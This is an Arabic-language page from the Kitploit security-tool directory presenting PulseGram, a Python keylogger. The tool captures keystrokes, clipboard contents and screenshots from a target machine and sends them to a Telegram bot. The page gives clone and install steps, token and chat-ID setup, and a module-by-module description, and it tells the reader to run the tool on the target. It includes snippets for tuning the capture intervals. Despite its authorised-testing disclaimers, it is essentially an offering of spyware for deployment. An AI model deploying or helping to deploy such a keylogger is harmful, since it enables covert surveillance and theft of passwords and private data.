Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
pulsegram — مسجل ضغطات مفاتيح يعتمد على بايثون مع تكامل بوت تليغرام لالتقاط ضغطات المفاتيح ومحتوى الحافظة ولقطات الشاشة في بيئات اختبار الأمان المصرح بها. | Kitploit
أدوات/GitHubGitHub/taurusomar/pulsegram
تسريب البياناتالتعلم والتعليمالفريق الأحمر
GitHubtaurusomar/pulsegram

pulsegram

مسجل ضغطات مفاتيح يعتمد على بايثون مع تكامل بوت تليغرام لالتقاط ضغطات المفاتيح ومحتوى الحافظة ولقطات الشاشة في بيئات اختبار الأمان المصرح بها.

عرض المستودع
1667منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

PulseGram

PulseGram هو مسجل ضغطات مفاتيح مدمج مع بوت تيليجرام. إنها أداة مراقبة تلتقط ضغطات المفاتيح، محتوى الحافظة، ولقطات الشاشة، وترسل جميع المعلومات إلى بوت تيليجرام مكوّن. صُممت لاستخدامها في محاكاة الخصوم واختبارات الأمان.

⚠️ تحذير: هذا المشروع للأغراض التعليمية واختبار الأمان في بيئات مصرح بها فقط. الاستخدام غير المصرح به لهذه الأداة قد يكون غير قانوني ومحظور.

root@kitploit:~
  _____       _           _____                     
 |  __ \     | |         / ____|                    
 | |__) |   _| |___  ___| |  __ _ __ __ _ _ __ ___  
 |  ___/ | | | / __|/ _ \ | |_ | '__/ _` | '_ ` _ \ 
 | |   | |_| | \__ \  __/ |__| | | | (_| | | | | | |
 |_|    \__,_|_|___/\___|\_____|_|  \__,_|_| |_| |_|
                                                                                                        
                 المؤلف: عمر سالازار
                 الإصدار: V.1.0

الميزات

  • التقاط ضغطات المفاتيح: يسجل ضغطات المفاتيح ويرسلها إلى بوت تيليجرام.
  • مراقبة الحافظة: يرسل محتوى الحافظة المنسوخ في الوقت الفعلي.
  • لقطات شاشة دورية: يلتقط لقطات شاشة ويرسلها إلى البوت.
  • سجلات الأخطاء: يسجل الأخطاء في ملف errors_log.txt لتسهيل التصحيح.

التثبيت

  1. استنساخ المستودع:

    root@kitploit:~
    git clone https://github.com/TaurusOmar/pulsegram
    cd pulsegram
    
  2. تثبيت التبعيات: تأكد من تثبيت Python 3 و pip. ثم شغّل:

    root@kitploit:~
    pip install -r requirements.txt
    
  3. إعداد رمز البوت الخاص بـ Telegram: أنشئ بوتًا على Telegram باستخدام BotFather. انسخ رمزك والصقه في الكود في ملف main.py حيث تتم تهيئة البوت.

  4. انسخ ChatID الخاص بك chat_id="131933xxxx" في ملف keylogger.py

الاستخدام

شغّل الأداة على الجهاز المستهدف باستخدام:

root@kitploit:~
python pulsegram.py

الوحدات

pulsegram.py

هذا هو الملف الرئيسي للأداة، والذي يقوم بتهيئة البوت وتشغيل المهام غير المتزامنة لالتقاط البيانات وإرسالها.

Bot(token="..."): تهيئة بوت تيليجرام برمزك الشخصي.
asyncio.gather(...): تشغيل مهام متعددة لتنفيذ مراقبة الحافظة، التقاط لقطات الشاشة، وتسجيل ضغطات المفاتيح.
log_error: في حالة حدوث أخطاء، يسجلها في ملف errors_log.txt.

helpers.py

تحتوي هذه الوحدة على دوال مساعدة تدعم التشغيل العام للأداة.

log_error(): يسجل أي أخطاء في errors_log.txt بتنسيق التاريخ والوقت.
get_clipboard_content(): يلتقط المحتوى الحالي للحافظة.
capture_screenshot(): يلتقط لقطة شاشة ويحفظها مؤقتًا لإرسالها إلى بوت تيليجرام.

keylogger.py

تتعامل هذه الوحدة مع تسجيل ضغطات المفاتيح، مراقبة الحافظة، والتقاط لقطات الشاشة.

capture_keystrokes(bot): دالة غير متزامنة تلتقط ضغطات المفاتيح وترسل المعلومات إلى بوت تيليجرام.
send_keystrokes_to_telegram(bot): ترسل هذه الدالة ضغطات المفاتيح المتراكمة إلى البوت.
capture_screenshots(bot): تلتقط بشكل دوري صورة للشاشة وترسلها إلى البوت.
log_clipboard(bot): ترسل محتويات الحافظة إلى البوت.

إعدادات الإجراءات

قم بتغيير الفاصل الزمني للالتقاط وإرسال المعلومات.

root@kitploit:~
async def send_keystrokes_to_telegram(bot):
    global keystroke_buffer
    while True:
        await asyncio.sleep(1)  # غير الفاصل الزمني لإرسال المفاتيح
root@kitploit:~
async def capture_screenshots(bot):
    while True:
        await asyncio.sleep(30)  # غير الفاصل الزمني لالتقاط لقطات الشاشة
        try:
root@kitploit:~
async def log_clipboard(bot):
    previous_content = ""
    while True:
        await asyncio.sleep(5)  # غير الفاصل الزمني للتحقق من تغييرات الحافظة
        current_content = get_clipboard_content()

تحذير الأمان

هذا المشروع للأغراض التعليمية فقط ولاختبار الأمان في بيئاتك الخاصة أو بتفويض صريح. الاستخدام غير المصرح به لهذه الأداة قد ينتهك القوانين المحلية وسياسات الخصوصية.

المساهمات

المساهمات مرحب بها. يرجى التأكد من احترام مدونة السلوك عند التعاون.

الترخيص

هذا المشروع مرخص بموجب رخصة MIT.

تنزيل الأداة